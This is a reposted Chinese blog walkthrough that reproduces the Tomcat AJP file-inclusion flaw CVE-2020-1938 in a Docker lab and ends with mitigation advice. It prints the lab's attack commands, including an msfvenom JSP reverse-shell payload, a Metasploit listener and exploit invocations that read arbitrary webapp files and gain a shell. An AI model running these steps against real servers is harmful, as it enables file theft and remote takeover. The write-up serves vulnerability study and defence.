0


CVE-2020-1938 Tomcat文件包含漏洞复现

1.漏洞描述

Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。

2.影响的版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.53

Apache Tomcat 9 < 9.0.31

3.漏洞复现

3.1 实验环境以及ip

靶机:kali 192.168.157.138

攻击机:kali 192.168.157.139

3.2靶机环境搭建

3.2.1下载docker

#更新软件源中的所有软件列表
apt-get update
#安装https协议及CA证书
apt-get install -y apt-transport-https ca-certificates
#下载安装docker
apt install docker.io
#查看Docker是否安装成功
docker run hello-world 

3.2.2搜索docker中的漏洞环境镜像

docker search tomcat-8.5.32

3.2.3使用docker拉去镜像环境

docker pull duonghuuphuc/tomcat-8.5.32

3.2.4查看docker下的镜像

docker images

3.2.5启动环境

docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat negoowen/ghostcat:1.0

这里出现错误,显示ghostcat容器在运行,是因为第二次执行而导致的报错

关闭ghostcat容器

docker rm -f ghostcat

再次启动环境,成功

3.2.6查看环境是否启动成功

docker ps -l

3.2.7打开页面

3.3 漏洞复现

3.3.1在攻击机进行端口扫描

nmap 192.168.157.138

3.3.2 在攻击机下载poc

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

3.3.3 尝试读取8009端口下的web.xml文件

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.157.138 -p 8009 -f /WEB-INF/web.xml

3.3.4 在靶机创建一个验证文件

docker exec -it ghostcat /bin/bash
echo helloworld > ./webapps/ROOT/WEB-INF/test.txt

3.3.5 进行攻击

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.157.138 -p 8009 -f /WEB-INF/test.txt

3.4漏洞利用--文件包含getshell

3.4.1首先在靶机使用msf生成一个java木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.157.139 LPORT=6666 > shell.txt

3.4.2将生成的木马复制到tomcat目录下,模拟我们已经将shell.txt上传

docker cp /home/xiaoya/桌面/shell.txt ghostcat:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt

3.4.3 在攻击机下载poc

git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/

3.4.4 在攻击机打开msf进行监听

# 打开msf
msfconsole
# 设置监听模块
use exploit/multi/handler
# 设置 payload
set payload java/jsp_shell_reverse_tcp
# 设置监听 IP 地址
set lhost 192.168.157.139
# 设置监听端口
set lport 6666
# 执行
run

3.4.5在攻击机访问shell.txt,使shell.txt发生文件包含

python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py 192.168.157.138 -p 8009 -f /WEB-INF/shell.txt 

4修复建议

1.临时禁用AJP协议端口,在 conf/server.xml 配置文件中注释掉:<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />

2.特别配置ajp配置中的secretRequired跟secret属性来限制认证

3.下载更新版本,只要不在本文开头提到的波及版本中即可。

标签: 安全 web安全 tomcat

本文转载自: https://blog.csdn.net/qq_49279082/article/details/129018726
版权归原作者 亚瑞塔斯·D·紫耀 所有, 如有侵权,请联系我们删除。

“CVE-2020-1938 Tomcat文件包含漏洞复现”的评论:

还没有评论